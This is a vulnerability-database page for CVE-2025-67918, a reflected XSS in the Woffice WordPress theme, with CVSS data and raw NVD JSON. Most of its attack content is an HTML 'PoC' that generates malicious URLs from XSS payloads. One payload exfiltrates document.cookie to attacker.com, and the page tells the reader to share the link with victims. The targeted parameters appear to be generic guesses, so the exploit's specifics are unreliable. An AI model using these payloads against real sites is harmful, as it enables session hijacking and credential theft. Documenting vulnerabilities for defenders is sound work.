Security Vulnerability Report
中文
CVE-2025-67918 CVSS 7.1 HIGH

CVE-2025-67918

Published: 2026-01-08 10:15:51
Last Modified: 2026-04-27 18:16:49

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WofficeIO Woffice woffice allows Reflected XSS.This issue affects Woffice: from n/a through <= 5.4.30.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Woffice WordPress主题 <= 5.4.30

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-67918 Woffice Reflected XSS PoC --> <!-- Target: WordPress Woffice Theme <= 5.4.30 --> <!-- Attack Type: Reflected Cross-Site Scripting --> <!DOCTYPE html> <html> <head> <title>CVE-2025-67918 PoC</title> </head> <body> <h2>CVE-2025-67918 - Woffice Theme Reflected XSS</h2> <p>Target: Woffice WordPress Theme <= 5.4.30</p> <script> // Generate malicious URL with XSS payload function generateXSSURL() { const targetBase = document.getElementById('targetUrl').value; const payloads = [ '<script>alert("XSS Vulnerability - CVE-2025-67918")</script>', '<img src=x onerror="alert(document.cookie)">', '<svg onload="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">', '<iframe src="javascript:alert(\'XSS\')">' ]; // Common Woffice vulnerable parameters const vulnerableParams = ['search', 's', 'query', 'redirect_to', 'return', 'url']; const param = vulnerableParams[0]; const payload = encodeURIComponent(payloads[0]); const maliciousURL = `${targetBase}?${param}=${payload}`; document.getElementById('maliciousLink').href = maliciousURL; document.getElementById('maliciousLink').textContent = maliciousURL; document.getElementById('pocUrl').value = maliciousURL; } // Cookie stealing payload function stealCookie() { const stolenCookie = document.cookie; console.log('Stolen Cookie:', stolenCookie); // In real attack: fetch('https://attacker.com/collect?cookie=' + stolenCookie) alert('Cookie would be stolen: ' + stolenCookie); } </script> <div> <label>Target Site URL: </label> <input type="text" id="targetUrl" value="https://example.com" size="50"> <button onclick="generateXSSURL()">Generate Malicious URL</button> </div> <div> <p>Malicious URL:</p> <a id="maliciousLink" href="#">Generate URL first</a> </div> <div> <p>Copy and share the above URL to victims</p> <input type="text" id="pocUrl" size="60"> </div> <hr> <h3>Attack Scenarios:</h3> <ol> <li><strong>Session Hijacking:</strong> Steal session cookies to impersonate users</li> <li><strong>Credential Theft:</strong> Create fake login forms to capture credentials</li> <li><strong>Malware Distribution:</strong> Redirect users to malicious sites</li> <li><strong>Defacement:</strong> Modify page content to display fake information</li> </ol> <h3>Detection Methods:</h3> <ul> <li>Monitor HTTP requests for suspicious URL patterns</li> <li>Implement WAF rules to block XSS payloads</li> <li>Use Content Security Policy (CSP) headers</li> <li>Enable X-XSS-Protection header</li> </ul> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67918", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:50.720", "lastModified": "2026-04-27T18:16:48.837", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WofficeIO Woffice woffice allows Reflected XSS.This issue affects Woffice: from n/a through <= 5.4.30."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/woffice/vulnerability/wordpress-woffice-theme-5-4-30-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}